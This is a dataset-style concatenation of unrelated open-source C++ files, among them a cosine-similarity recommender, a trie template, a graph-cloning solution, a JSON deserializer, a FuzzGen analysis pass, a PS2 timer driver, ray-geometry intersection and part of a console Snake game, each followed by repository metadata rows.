POSITION pos=nexts.GetHeadPosition();
while (pos!=NULL)
{
ProbObj *p=nexts.GetNext(pos);
DEBUG("Now solve next\n");
assert(p!=NULL);
p->Exec();
}
}
void ProbObj::IncreaseDependencyCounter()
{
savedcounter++;
}
void ProbObj::AddNext(ProbObj &p)
{
printf("Add next problem to dependency list\n");
ProbObj *obj=new ProbObj(p.GetAccessPoint());
assert(obj!=NULL);
nexts.AddTail(obj);
p.IncreaseDependencyCounter();
}
void ProbObj::ResetCounter()
{
count=0;
}
void ProbObj::Solve()
{
}
| 13.519481 | 49 | 0.668588 | GaretJax |
8690218b1a87e8a4e216a53884359447a83a545a | 2,917 | cpp | C++ | src/libs/cosinesimilarity.cpp | ronaldpereira/collaborative-filtering-movie-recommendation | 0ecdd5f531a677540c0047c09d300d81c85dc821 | [
"MIT"
] | null | null | null | src/libs/cosinesimilarity.cpp | ronaldpereira/collaborative-filtering-movie-recommendation | 0ecdd5f531a677540c0047c09d300d81c85dc821 | [
"MIT"
] | null | null | null | src/libs/cosinesimilarity.cpp | ronaldpereira/collaborative-filtering-movie-recommendation | 0ecdd5f531a677540c0047c09d300d81c85dc821 | [
"MIT"
] | null | null | null | #include <iostream>
#include <cmath>
#include <algorithm>
#include <map>
#include <unordered_map>
#include "cosinesimilarity.hpp"
#include "itemuser.hpp"
std::unordered_map<int, double> CosineSimilarity::getKNearestNeighbors(std::unordered_map<int, double> *similarities, int kNearestNeighbors)
{
std::vector<std::pair<int, double>> simVector(kNearestNeighbors);
std::unordered_map<int, double> topKSimilarities;
std::partial_sort_copy(similarities->begin(), similarities->end(),
simVector.begin(), simVector.end(),
[](const std::pair<int, double> &a,
const std::pair<int, double> &b) {
return a.second > b.second;
});
for (auto &sim : simVector)
topKSimilarities[sim.first] = sim.second;
return topKSimilarities;
}
std::unordered_map<int, double> CosineSimilarity::calculateSimilarity(ItemUser *itemuser, int targetItemID, int kNearestNeighbors)
{
std::unordered_map<int, double> similarities;
if (computedSimilarities.find(targetItemID) == computedSimilarities.end())
{
std::unordered_map<int, int> &targetItemRatings = itemuser->ItemUserRatings[targetItemID];
for (auto &item : itemuser->ItemUserRatings)
{
int itemID = item.first;
if (itemID == targetItemID)
continue;
std::unordered_map<int, int> &userRatings = item.second;
double weightedRatingSum = 0;
double squaredRatingsUser1 = 0, squaredRatingsUser2 = 0;
for (auto &user : targetItemRatings)
{
int userID = user.first;
if (userRatings.find(userID) == userRatings.end())
continue;
weightedRatingSum += (itemuser->ItemUserRatings[targetItemID][userID] - itemuser->ItemAvgRating[targetItemID]) * (itemuser->ItemUserRatings[itemID][userID] - itemuser->ItemAvgRating[itemID]);
squaredRatingsUser1 += std::pow(itemuser->ItemUserRatings[targetItemID][userID] - itemuser->ItemAvgRating[targetItemID], 2);
squaredRatingsUser2 += std::pow(itemuser->ItemUserRatings[itemID][userID] - itemuser->ItemAvgRating[itemID], 2);
}
double normalizer = std::sqrt(squaredRatingsUser1) * std::sqrt(squaredRatingsUser2);
if (normalizer != 0)
similarities[itemID] = weightedRatingSum / normalizer;
}
// If KNN selection is active
if (kNearestNeighbors > 0)
similarities = getKNearestNeighbors(&similarities, kNearestNeighbors);
// Saves the target item computed similarities for possible future use
computedSimilarities[targetItemID] = similarities;
}
else
similarities = computedSimilarities[targetItemID];
return similarities;
}
| 37.397436 | 207 | 0.633528 | ronaldpereira |
8693a644202e6204a6e92a04701c79aa92c3e70f | 4,256 | hpp | C++ | src/trie.hpp | AjReme/1C-screening-task | 8b44545328dfe45d5e35e2c83a5722db41593cd4 | [
"CC0-1.0"
] | null | null | null | src/trie.hpp | AjReme/1C-screening-task | 8b44545328dfe45d5e35e2c83a5722db41593cd4 | [
"CC0-1.0"
] | null | null | null | src/trie.hpp | AjReme/1C-screening-task | 8b44545328dfe45d5e35e2c83a5722db41593cd4 | [
"CC0-1.0"
] | null | null | null | #include <vector>
#include <iterator>
#include <algorithm>
namespace data_structure {
template <size_t min_key, size_t max_key, class value>
class trie {
private:
static const size_t _block_size = max_key - min_key + 1;
struct node_t {
value val;
bool is_leaf;
size_t in_route = 0;
std::vector<node_t*> child;
node_t()
: val(value()),
is_leaf(false),
in_route(0),
child(std::vector<node_t*>(_block_size, nullptr)) {
}
~node_t() {
std::for_each(child.begin(), child.end(),
[](const node_t* ptr) { delete ptr; });
}
};
node_t* _root;
template <class ForwardIt>
node_t* find_(const ForwardIt first, const ForwardIt last) const {
using iter_type = typename std::iterator_traits<ForwardIt>::value_type;
node_t* ptr = _root;
std::find_if(first, last, [&ptr](const iter_type& val) {
ptr = ptr->child[val - min_key];
return ptr == nullptr;
});
return ptr;
}
public:
class iterator {
private:
node_t* _ptr;
public:
iterator() : _ptr(nullptr) {
}
iterator(node_t* const ptr) : _ptr(ptr) {
}
iterator& operator=(const iterator& other) {
_ptr = other._ptr;
return *this;
}
bool operator==(const iterator& other) const {
return _ptr == other._ptr;
}
bool operator!=(const iterator& other) const {
return _ptr != other._ptr;
}
iterator operator[](size_t next) const {
return iterator(_ptr == nullptr ? _ptr : _ptr->child[next - min_key]);
}
value& operator*() const {
return _ptr->val;
}
bool is_leaf() const {
return _ptr == nullptr ? false : _ptr->is_leaf;
}
};
trie() : _root(new node_t()) {
}
trie(trie<min_key, max_key, value>&& other) {
clear();
_root = other._root;
other._root = new node_t();
}
~trie() {
delete _root;
}
size_t size() const {
return _root->in_route;
}
bool empty() const {
return _root->in_route == 0;
}
void clear() {
delete _root;
_root = new node_t();
}
iterator begin() const {
return iterator(_root);
}
const iterator end() const {
return iterator();
}
template <class ForwardIt>
iterator insert(const ForwardIt first, const ForwardIt last) {
using iter_type = typename std::iterator_traits<ForwardIt>::value_type;
node_t* ptr = _root;
std::for_each(first, last, [&ptr](const iter_type& val) {
node_t*& next = ptr->child[val - min_key];
if (next == nullptr) {
next = new node_t();
}
ptr = next;
});
if (ptr->is_leaf) {
return iterator(ptr);
}
ptr = _root;
++ptr->in_route;
std::for_each(first, last, [&ptr](const iter_type& val) {
ptr = ptr->child[val - min_key];
++ptr->in_route;
});
ptr->is_leaf = true;
return iterator(ptr);
}
template <class Iterable>
iterator insert(const Iterable& container) {
return insert(container.begin(), container.end());
}
template <class Iterable>
value& operator[](const Iterable& container) {
return *insert(container);
}
template <class ForwardIt>
void erase(const ForwardIt first, const ForwardIt last) {
using iter_type = typename std::iterator_traits<ForwardIt>::value_type;
node_t* ptr = _root;
--ptr->in_route;
std::find_if(first, last, [&ptr](const iter_type& val) {
ptr = ptr->child[val - min_key];
if (--ptr->in_route == 0) {
delete ptr;
ptr = nullptr;
return true;
}
return false;
});
if (ptr != nullptr) {
ptr->is_leaf = false;
}
}
template <class Iterable>
iterator erase(const Iterable& container) {
return erase(container.begin(), container.end());
}
template <class Iterable>
iterator find(const Iterable& container) const {
node_t* ret = find_(container.begin(), container.end());
return iterator(ret != nullptr && ret->is_leaf ? ret : nullptr);
}
template <class Iterable>
iterator find_prefix(const Iterable& container) const {
node_t* ret = find_(container.begin(), container.end());
return iterator(ret != nullptr ? ret : nullptr);
}
};
} // namespace data_structure
| 22.638298 | 76 | 0.603383 | AjReme |
8694d733b93aa352a8a836b80008497ff13ef2a4 | 1,363 | cpp | C++ | src/133.clone_graph/code.cpp | cloudzfy/leetcode | 9d32090429ef297e1f62877382bff582d247266a | [
"MIT"
] | 1 | 2016-07-02T17:44:10.000Z | 2016-07-02T17:44:10.000Z | src/133.clone_graph/code.cpp | cloudzfy/leetcode | 9d32090429ef297e1f62877382bff582d247266a | [
"MIT"
] | null | null | null | src/133.clone_graph/code.cpp | cloudzfy/leetcode | 9d32090429ef297e1f62877382bff582d247266a | [
"MIT"
] | 1 | 2019-12-21T04:57:15.000Z | 2019-12-21T04:57:15.000Z | /**
* Definition for undirected graph.
* struct UndirectedGraphNode {
* int label;
* vector<UndirectedGraphNode *> neighbors;
* UndirectedGraphNode(int x) : label(x) {};
* };
*/
class Solution {
public:
UndirectedGraphNode *cloneGraph(UndirectedGraphNode *node) {
if (node == NULL) return NULL;
unordered_map<UndirectedGraphNode*, UndirectedGraphNode*> mapped;
queue<UndirectedGraphNode*> q;
q.push(node);
UndirectedGraphNode *newNode = new UndirectedGraphNode(node->label);
mapped[node] = newNode;
while (!q.empty()) {
UndirectedGraphNode *curNode = q.front();
q.pop();
UndirectedGraphNode *newCurNode = mapped[curNode];
for (int i = 0; i < curNode->neighbors.size(); i++) {
UndirectedGraphNode *nextNode = curNode->neighbors[i];
if(mapped.find(nextNode) != mapped.end()) {
newCurNode->neighbors.push_back(mapped[nextNode]);
} else {
q.push(nextNode);
UndirectedGraphNode *newNextNode = new UndirectedGraphNode(nextNode->label);
mapped[nextNode] = newNextNode;
newCurNode->neighbors.push_back(newNextNode);
}
}
}
return mapped[node];
}
};
| 36.837838 | 96 | 0.569332 | cloudzfy |
8698075905e16ce9032f346143058775d0abbc5a | 82 | hpp | C++ | include/dg/platform/window_events.hpp | epicodic/diligent-graph | 64325a17498fa6b913bffadfc1a43108c81dd7b0 | [
"Apache-2.0"
] | 3 | 2020-08-25T07:54:43.000Z | 2021-01-14T20:05:06.000Z | include/dg/platform/window_events.hpp | epicodic/diligent-graph | 64325a17498fa6b913bffadfc1a43108c81dd7b0 | [
"Apache-2.0"
] | null | null | null | include/dg/platform/window_events.hpp | epicodic/diligent-graph | 64325a17498fa6b913bffadfc1a43108c81dd7b0 | [
"Apache-2.0"
] | null | null | null | #pragma once
namespace dg {
struct ResizeEvent
{
int width, height;
};
}
| 6.307692 | 22 | 0.634146 | epicodic |
869930b9054607fde2483fb0972e79cd6c46567e | 6,179 | hpp | C++ | lib/serialize/include/pajlada/serialize/deserialize.hpp | Functioneel/chatterino7 | 81a52498b6850626223f96fa81c3e847c23ee25d | [
"MIT"
] | 1 | 2022-01-08T17:59:48.000Z | 2022-01-08T17:59:48.000Z | include/pajlada/serialize/deserialize.hpp | brucelevis/serialize | 7d37cbfd5ac3bfbe046118e1cec3d32ba4696469 | [
"MIT"
] | 4 | 2022-03-07T14:40:30.000Z | 2022-03-31T10:26:28.000Z | lib/serialize/include/pajlada/serialize/deserialize.hpp | Functioneel/chatterino7 | 81a52498b6850626223f96fa81c3e847c23ee25d | [
"MIT"
] | 2 | 2020-06-04T09:52:24.000Z | 2021-12-25T13:58:30.000Z | #pragma once
#include <rapidjson/document.h>
#include <pajlada/serialize/common.hpp>
#ifdef PAJLADA_BOOST_ANY_SUPPORT
#include <boost/any.hpp>
#endif
#include <cassert>
#include <cmath>
#include <map>
#include <stdexcept>
#include <string>
#include <typeinfo>
#include <vector>
namespace pajlada {
// Deserialize is called when we load a json file into our library
template <typename Type, typename RJValue = rapidjson::Value,
typename Enable = void>
struct Deserialize {
static Type
get(const RJValue & /*value*/, bool *error = nullptr)
{
// static_assert(false, "Unimplemented deserialize type");
PAJLADA_REPORT_ERROR(error)
return Type{};
}
};
template <typename Type, typename RJValue>
struct Deserialize<
Type, RJValue,
typename std::enable_if<std::is_integral<Type>::value>::type> {
static Type
get(const RJValue &value, bool *error = nullptr)
{
if (!value.IsNumber()) {
PAJLADA_REPORT_ERROR(error)
return Type{};
}
return detail::GetNumber<Type>(value);
}
};
template <typename RJValue>
struct Deserialize<bool, RJValue> {
static bool
get(const RJValue &value, bool *error = nullptr)
{
if (value.IsBool()) {
// No conversion needed
return value.GetBool();
}
if (value.IsInt()) {
// Conversion from Int:
// 1 == true
// Anything else = false
return value.GetInt() == 1;
}
PAJLADA_REPORT_ERROR(error)
return false;
}
};
template <typename RJValue>
struct Deserialize<double, RJValue> {
static double
get(const RJValue &value, bool *error = nullptr)
{
if (value.IsNull()) {
return std::numeric_limits<double>::quiet_NaN();
}
if (!value.IsNumber()) {
PAJLADA_REPORT_ERROR(error)
return double{};
}
return value.GetDouble();
}
};
template <typename RJValue>
struct Deserialize<float, RJValue> {
static float
get(const RJValue &value, bool *error = nullptr)
{
if (value.IsNull()) {
return std::numeric_limits<float>::quiet_NaN();
}
if (!value.IsNumber()) {
PAJLADA_REPORT_ERROR(error)
return float{};
}
return value.GetFloat();
}
};
template <typename RJValue>
struct Deserialize<std::string, RJValue> {
static std::string
get(const RJValue &value, bool *error = nullptr)
{
if (!value.IsString()) {
PAJLADA_REPORT_ERROR(error)
return std::string{};
}
return value.GetString();
}
};
template <typename ValueType, typename RJValue>
struct Deserialize<std::map<std::string, ValueType>, RJValue> {
static std::map<std::string, ValueType>
get(const RJValue &value, bool *error = nullptr)
{
std::map<std::string, ValueType> ret;
if (!value.IsObject()) {
PAJLADA_REPORT_ERROR(error)
return ret;
}
for (typename RJValue::ConstMemberIterator it = value.MemberBegin();
it != value.MemberEnd(); ++it) {
ret.emplace(it->name.GetString(),
Deserialize<ValueType, RJValue>::get(it->value, error));
}
return ret;
}
};
template <typename ValueType, typename RJValue>
struct Deserialize<std::vector<ValueType>, RJValue> {
static std::vector<ValueType>
get(const RJValue &value, bool *error = nullptr)
{
std::vector<ValueType> ret;
if (!value.IsArray()) {
PAJLADA_REPORT_ERROR(error)
return ret;
}
for (const RJValue &innerValue : value.GetArray()) {
ret.emplace_back(
Deserialize<ValueType, RJValue>::get(innerValue, error));
}
return ret;
}
};
template <typename ValueType, size_t Size, typename RJValue>
struct Deserialize<std::array<ValueType, Size>, RJValue> {
static std::array<ValueType, Size>
get(const RJValue &value, bool *error = nullptr)
{
std::array<ValueType, Size> ret;
if (!value.IsArray()) {
PAJLADA_REPORT_ERROR(error)
return ret;
}
if (value.GetArray().Size() != Size) {
PAJLADA_REPORT_ERROR(error)
return ret;
}
for (size_t i = 0; i < Size; ++i) {
ret[i] = Deserialize<ValueType, RJValue>::get(value[i], error);
}
return ret;
}
};
template <typename Arg1, typename Arg2, typename RJValue>
struct Deserialize<std::pair<Arg1, Arg2>, RJValue> {
static std::pair<Arg1, Arg2>
get(const RJValue &value, bool *error = nullptr)
{
if (!value.IsArray()) {
PAJLADA_REPORT_ERROR(error)
return std::make_pair(Arg1(), Arg2());
}
if (value.Size() != 2) {
PAJLADA_REPORT_ERROR(error)
return std::make_pair(Arg1(), Arg2());
}
return std::make_pair(Deserialize<Arg1, RJValue>::get(value[0], error),
Deserialize<Arg2, RJValue>::get(value[1], error));
}
};
#ifdef PAJLADA_BOOST_ANY_SUPPORT
template <typename RJValue>
struct Deserialize<boost::any, RJValue> {
static boost::any
get(const RJValue &value, bool *error = nullptr)
{
if (value.IsInt()) {
return value.GetInt();
} else if (value.IsFloat() || value.IsDouble()) {
return value.GetDouble();
} else if (value.IsString()) {
return std::string(value.GetString());
} else if (value.IsBool()) {
return value.GetBool();
} else if (value.IsObject()) {
return Deserialize<std::map<std::string, boost::any>, RJValue>::get(
value, error);
} else if (value.IsArray()) {
return Deserialize<std::vector<boost::any>, RJValue>::get(value,
error);
}
PAJLADA_REPORT_ERROR(error)
return boost::any();
}
};
#endif
} // namespace pajlada
| 25.533058 | 80 | 0.571128 | Functioneel |
869961fc338987f7240f1d3cd05a792122c1a918 | 8,067 | cpp | C++ | src/internal.cpp | chenlijun99/FuzzGen | 0f6ad947b3d573407b573cc54833263e03a6af73 | [
"Apache-2.0"
] | 233 | 2019-11-01T19:05:17.000Z | 2022-03-19T07:00:11.000Z | src/internal.cpp | chenlijun99/FuzzGen | 0f6ad947b3d573407b573cc54833263e03a6af73 | [
"Apache-2.0"
] | 21 | 2020-03-21T16:26:55.000Z | 2022-03-07T11:14:27.000Z | src/internal.cpp | chenlijun99/FuzzGen | 0f6ad947b3d573407b573cc54833263e03a6af73 | [
"Apache-2.0"
] | 54 | 2020-05-28T00:12:38.000Z | 2022-03-19T07:00:13.000Z | // ------------------------------------------------------------------------------------------------
/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
* ___ ___ ___ ___ ___ ___ ___
* /\__\ /\ \ /\__\ /\__\ /\__\ /\__\ /\ \
* /:/ _/_ \:\ \ /::| | /::| | /:/ _/_ /:/ _/_ \:\ \
* /:/ /\__\ \:\ \ /:/:| | /:/:| | /:/ /\ \ /:/ /\__\ \:\ \
* /:/ /:/ / ___ \:\ \ /:/|:| |__ /:/|:| |__ /:/ /::\ \ /:/ /:/ _/_ _____\:\ \
* /:/_/:/ / /\ \ \:\__\ /:/ |:| /\__\ /:/ |:| /\__\ /:/__\/\:\__\ /:/_/:/ /\__\ /::::::::\__\
* \:\/:/ / \:\ \ /:/ / \/__|:|/:/ / \/__|:|/:/ / \:\ \ /:/ / \:\/:/ /:/ / \:\~~\~~\/__/
* \::/__/ \:\ /:/ / |:/:/ / |:/:/ / \:\ /:/ / \::/_/:/ / \:\ \
* \:\ \ \:\/:/ / |::/ / |::/ / \:\/:/ / \:\/:/ / \:\ \
* \:\__\ \::/ / |:/ / |:/ / \::/ / \::/ / \:\__\
* \/__/ \/__/ |/__/ |/__/ \/__/ \/__/ \/__/
*
* FuzzGen - Automatic Fuzzer Generation
*
*
*
* internal.cpp
*
* TODO: Write a small description.
*
* TODO: I want to deprecate this module.
*
*/
// ------------------------------------------------------------------------------------------------
#include "internal.h"
// ------------------------------------------------------------------------------------------------
// Globals
//
char Internal::ID = 1;
// ------------------------------------------------------------------------------------------------
// Class constructor for analyzing all API functions. Simply initialize class members.
//
Internal::Internal(set <string> *libAPI, vector<interwork::APICall*> *calls, Context *ctx) :
ModulePass(ID), ctx(ctx), libAPI(libAPI), calls(calls) {
string F;
if (libAPI->size() < 1) { // is there any to analyze?
warning() << "There are no functions to analyze!\n";
throw FuzzGenException("Empty API"); // abort
}
for (auto ii=libAPI->begin(); ii!=libAPI->end(); F+=*ii++ + "(), ")
{ }
F.pop_back(); // drop last comma
F.pop_back();
info(v0) << "Internal analysis started.\n";
info(v1) << "Functions to analyze: " << F << "\n";
mode = ANALYZE_ALL;
}
// ------------------------------------------------------------------------------------------------
// Class constructor for analyzing a single API function. Simply initialize class members.
//
Internal::Internal(string libcall, interwork::APICall *call, Context *ctx) :
ModulePass(ID), ctx(ctx), libcall(libcall), call(call) {
info(v0) << "Internal analysis started.\n";
info(v1) << "Function to analyze: " << libcall << "\n";
mode = ANALYZE_SINGLE;
}
// ------------------------------------------------------------------------------------------------
// Class destructor.
//
Internal::~Internal(void) {
// TODO: release allocated objects
}
// ------------------------------------------------------------------------------------------------
// Overload this function to specify the required analyses.
//
void Internal::getAnalysisUsage(AnalysisUsage &au) const {
au.setPreservesAll();
// we might need these in future
//
// au.addRequired<ScalarEvolutionWrapperPass>();
// au.addRequired<AAResultsWrapperPass>();
// au.addRequired<AliasAnalysis>();
}
// ------------------------------------------------------------------------------------------------
// Analysis starts from here. Analyze all arguments for each API function.
//
bool Internal::runOnModule(Module &M) {
module = &M; // store module as a private member
/* iterate over each functions */
for(Module::reverse_iterator ii=M.rbegin(); ii!=M.rend(); ++ii) {
Function &func = *ii;
bool discard = false; // function is not discarded (yet)
/* check whether function is in API */
switch (mode) {
case ANALYZE_ALL: // analyze all API functions
if (!libAPI->count(func.getName())) {
continue; // count is zero => function isn't in the set
}
break;
case ANALYZE_SINGLE: // analyze a specific function
if (libcall != func.getName()) {
continue;
}
}
info(v0) << "================================ Analyzing '" << func.getName()
<< "' ================================\n";
interwork::APICall *call = new interwork::APICall();
call->name = func.getName();
/* get number of arguments */
call->nargs = func.arg_size();
/* what about variadic functions? External analysis will reveal the variadic arguments */
if (func.isVarArg()) {
warning() << "Variadic functions can be problematic but FuzzGen will do its best :)\n";
call->isVariadic = true; // mark function as variadic
}
Dig *dig = new Dig(module, ctx);
/* return values are handled exactly as arguments */
call->retVal = dig->digRetValType(func.getReturnType());
/* iterate through each argument and analyze it */
for (Function::arg_iterator jj=func.arg_begin(); jj!=func.arg_end(); ++jj) {
interwork::Argument *arg = dig->digType(*jj, nullptr, true);
if (arg == nullptr) {
Type *argTy = jj->getType();
/* create the issue and report it */
string type_str;
raw_string_ostream raw(type_str); // create an llvm stream
raw << "Argument analysis on " << jj->getParent()->getName() << "(... ";
argTy->print(raw); // get type as string
raw << " " << jj->getName() << " ...) failed. Function is discarded.";
ctx->reportIssue(raw.str());
discard = true; // discard function
break;
}
call->args.push_back(arg); // store argument's information that
/* print the internal interwork argument/elements (DEBUG) */
info(v1) << "Interwork Argument: " << arg->dump() << "\n";
for (auto ii=arg->subElements.begin(); ii!=arg->subElements.end(); ++ii) {
info(v2) << " Element: " << (*ii)->dump() << "\n";
}
}
if (!discard) {
/* push function to the pool (if it's not discarded) */
switch (mode) {
case ANALYZE_ALL:
calls->push_back(call); // add call to the vector
break;
case ANALYZE_SINGLE:
this->call = call; // we have a unique call
return false; // our job is over now
}
}
}
/* we didn't modify the module, so return false */
return false;
}
// ------------------------------------------------------------------------------------------------
| 34.622318 | 99 | 0.418247 | chenlijun99 |
86a159ca4d06f77ee3c07be51eab4c865a4f7e5c | 2,890 | cpp | C++ | src/Geometry.cpp | eestrada/raytracer | f1a80db1c2ec05e5b39a9dce9af6a56604755a0b | [
"MIT"
] | 1 | 2018-04-25T08:43:36.000Z | 2018-04-25T08:43:36.000Z | src/Geometry.cpp | eestrada/raytracer | f1a80db1c2ec05e5b39a9dce9af6a56604755a0b | [
"MIT"
] | null | null | null | src/Geometry.cpp | eestrada/raytracer | f1a80db1c2ec05e5b39a9dce9af6a56604755a0b | [
"MIT"
] | null | null | null | #include <iostream>
#include <sstream>
#include <cmath>
#include "cg/Geometry.hpp"
#include "utils/exceptions.hpp"
namespace cg
{
rt::RayHit_ptr Sphere::intersect(const rt::Ray &ray, const Mat4 &xform) const
{
Vec3 new_center = xform * Vec4(this->center, 1.0);
Vec3 L = new_center - ray.pos;
double tca = L.dot(ray.dir.normalized());
if (tca < 0) return rt::RayHit_ptr(); // We already know if the intersection is behind us.
double d2 = L.length2() - tca * tca;
double radius2 = this->radius * this->radius;
if(d2 > radius2) return rt::RayHit_ptr(); // The ray angle is greater than the radius.
// If we made it this far, we have successfully intersected.
double thc = std::sqrt(radius2 - d2);
rt::RayHit_ptr rval(new rt::RayHit());
rval->distance = tca - thc;
rval->data.pos = ray.pos + ray.dir.normalized() * rval->distance;
rval->data.dir = (rval->data.pos - new_center).normalized();
return rval;
}
std::string Sphere::to_string(void) const
{
std::ostringstream out;
out << "Sphere: Center " << this->center << " radius " << this->radius;
return out.str();
}
void Triangle::set_points(const Vec3 &v0, const Vec3 &v1, const Vec3 &v2)
{
Vec3 A = v1 - v0;
Vec3 B = v2 - v0;
Vec3 C = A.cross(B); // CCW winding of points
this->nml = C.normalized();
this->pt0 = v0;
this->pt1 = v1;
this->pt2 = v2;
}
rt::RayHit_ptr Triangle::intersect(const rt::Ray &ray, const Mat4 &xform) const
{
rt::RayHit_ptr rval;
Vec3 tmp_pt0 = xform * Vec4(this->pt0, 1.0);
Vec3 tmp_pt1 = xform * Vec4(this->pt1, 1.0);
Vec3 tmp_pt2 = xform * Vec4(this->pt2, 1.0);
Vec3 tmp_nml = xform * Vec4(this->nml, 0.0);
double denom = ray.dir.dot(tmp_nml);
if (denom == 0.0) return rval; // We are perfectly perpendicular to the triangle.
Vec3 ptro = tmp_pt0 - ray.pos;
double d = ptro.dot(tmp_nml) / denom;
if(d < 0) return rval; // Is the triangle in front of the camera?
Vec3 P = ray.pos + (ray.dir.normalized() * d);
Vec3 edge0 = tmp_pt1 - tmp_pt0;
Vec3 edge1 = tmp_pt2 - tmp_pt1;
Vec3 edge2 = tmp_pt0 - tmp_pt2;
Vec3 C0 = P - tmp_pt0;
Vec3 C1 = P - tmp_pt1;
Vec3 C2 = P - tmp_pt2;
if( tmp_nml.dot(edge0.cross(C0)) > 0 &&
tmp_nml.dot(edge1.cross(C1)) > 0 &&
tmp_nml.dot(edge2.cross(C2)) > 0) // Is intersection within the triangle face?
{
rval.reset(new rt::RayHit());
rval->distance = d;
if(tmp_nml.dot(ray.dir) > 0) tmp_nml = -tmp_nml; // Make normals forward facing.
rval->data.dir = tmp_nml;
rval->data.pos = P;
}
return rval;
}
std::string Triangle::to_string(void) const
{
return std::string("Printing a Triangle!");
}
} //end namespace "cg"
std::ostream & operator<<(std::ostream &out, const cg::Geometry &g)
{
return out << g.to_string() << "\n";
}
| 28.333333 | 94 | 0.616609 | eestrada |
86a16c0a543193840e53468d39746d700a5d187e | 3,072 | cpp | C++ | Fuji/Source/Drivers/PS2/MFSystem_PS2.cpp | TurkeyMan/fuji | afd6a26c710ce23965b088ad158fe916d6a1a091 | [
"BSD-2-Clause"
] | 35 | 2015-01-19T22:07:48.000Z | 2022-02-21T22:17:53.000Z | Fuji/Source/Drivers/PS2/MFSystem_PS2.cpp | TurkeyMan/fuji | afd6a26c710ce23965b088ad158fe916d6a1a091 | [
"BSD-2-Clause"
] | 1 | 2022-02-23T09:34:15.000Z | 2022-02-23T09:34:15.000Z | Fuji/Source/Drivers/PS2/MFSystem_PS2.cpp | TurkeyMan/fuji | afd6a26c710ce23965b088ad158fe916d6a1a091 | [
"BSD-2-Clause"
] | 4 | 2015-05-11T03:31:35.000Z | 2018-09-27T04:55:57.000Z | #include "Fuji_Internal.h"
#if MF_SYSTEM == MF_DRIVER_PS2
#include "MFSystem_Internal.h"
#include <kernel.h>
// Timer Registers
#define T1_COUNT ((volatile unsigned long*)0x10000800)
#define T1_MODE ((volatile unsigned long*)0x10000810)
#define T1_COMP ((volatile unsigned long*)0x10000820)
#define T1_HOLD ((volatile unsigned long*)0x10000830)
#define Tn_MODE(CLKS,GATE,GATS,GATM,ZRET,CUE,CMPE,OVFE,EQUF,OVFF) \
(u32)((u32)(CLKS) | ((u32)(GATE) << 2) | \
((u32)(GATS) << 3) | ((u32)(GATM) << 4) | \
((u32)(ZRET) << 6) | ((u32)(CUE) << 7) | \
((u32)(CMPE) << 8) | ((u32)(OVFE) << 9) | \
((u32)(EQUF) << 10) | ((u32)(OVFF) << 11))
#define kBUSCLK (147456000)
#define kBUSCLKBY16 (kBUSCLK / 16)
#define kBUSCLKBY256 (kBUSCLK / 256)
enum
{
kINTC_GS,
kINTC_SBUS,
kINTC_VBLANK_START,
kINTC_VBLANK_END,
kINTC_VIF0,
kINTC_VIF1,
kINTC_VU0,
kINTC_VU1,
kINTC_IPU,
kINTC_TIMER0,
kINTC_TIMER1
};
// Timer statics
static int s_tnInterruptID = -1;
static u64 s_tnInterruptCount = 0;
// Timer interrupt handler
int tnTimeInterrupt(int ca)
{
s_tnInterruptCount++;
// A write to the overflow flag will clear the overflow flag
*T1_MODE |= (1 << 11);
return -1;
}
void MFSystem_InitModulePlatformSpecific()
{
gpEngineInstance->currentPlatform = FP_PS2;
// Init the timer and register the interrupt handler
*T1_MODE = 0x0000;
s_tnInterruptID = AddIntcHandler(kINTC_TIMER1, tnTimeInterrupt, 0);
EnableIntc(kINTC_TIMER1);
// Initialize the timer registers
// CLKS: 0x02 - 1/256 of the BUSCLK (0x01 is 1/16th)
// CUE: 0x01 - Start/Restart the counting
// OVFE: 0x01 - An interrupt is generated when an overflow occurs
// --------------------------------------------------------------
*T1_COUNT = 0;
*T1_MODE = Tn_MODE(0x02, 0, 0, 0, 0, 0x01, 0, 0x01, 0, 0);
s_tnInterruptCount = 0;
}
void MFSystem_DeinitModulePlatformSpecific()
{
// Stop the timer
*T1_MODE = 0x0000;
// Disable the interrupt
if (s_tnInterruptID >= 0)
{
DisableIntc(kINTC_TIMER1);
RemoveIntcHandler(kINTC_TIMER1, s_tnInterruptID);
s_tnInterruptID = -1;
}
s_tnInterruptCount = 0;
}
void MFSystem_HandleEventsPlatformSpecific()
{
}
void MFSystem_UpdatePlatformSpecific()
{
}
void MFSystem_DrawPlatformSpecific()
{
}
MF_API uint64 MFSystem_ReadRTC()
{
uint64 t;
// Tn_COUNT is 16 bit precision. Therefore, each
// <s_tnInterruptCount> is 65536 ticks
// ---------------------------------------------
t = *T1_COUNT + (s_tnInterruptCount << 16);
t = t * 1000000 / kBUSCLKBY256;
return t;
}
MF_API uint64 MFSystem_GetRTCFrequency()
{
// I am using 1/256 of the BUSCLK below in the Tn_MODE register
// which means that the timer will count at a rate of:
// 147,456,000 / 256 = 576,000 Hz
// This implies that the accuracy of this timer is:
// 1 / 576,000 = 0.0000017361 seconds (~1.74 usec!)
return 1000000;
}
MF_API const char * MFSystem_GetSystemName()
{
return "Playstation2";
}
#endif
| 22.755556 | 69 | 0.642253 | TurkeyMan |
86a1ca8b0c4141e9c9ea4d31ef6af3344fb82f52 | 4,875 | cpp | C++ | Snake/C++/Snake.cpp | Charptr0/Personal-Projects-CPP | bdb5b52a687762990fdbcfc9331279f70634ea1e | [
"MIT"
] | null | null | null | Snake/C++/Snake.cpp | Charptr0/Personal-Projects-CPP | bdb5b52a687762990fdbcfc9331279f70634ea1e | [
"MIT"
] | null | null | null | Snake/C++/Snake.cpp | Charptr0/Personal-Projects-CPP | bdb5b52a687762990fdbcfc9331279f70634ea1e | [
"MIT"
] | null | null | null | #include <iostream>
#include <vector>
#include <conio.h>
#include "GameManager.h"
using std::cout;
using std::endl;
void Display() //To display the border, the player, and the fruit
{
system("CLS");
for (int i = 1; i <= Row; i++)
{
if (i > 1 && i < Row) { cout << "*"; } //If i does not represent the top border or the bottom border, it will start
//the new row with a "*"
for (int j = 1; j <= Column; j++)
{
bool createWhiteSpace = true; //if this is true, the program will create a " "
if (i == 1 || i == Row) //Draw the border that is on the top and the bottom
{
cout << "*";
if (j == Column) cout << endl;
}
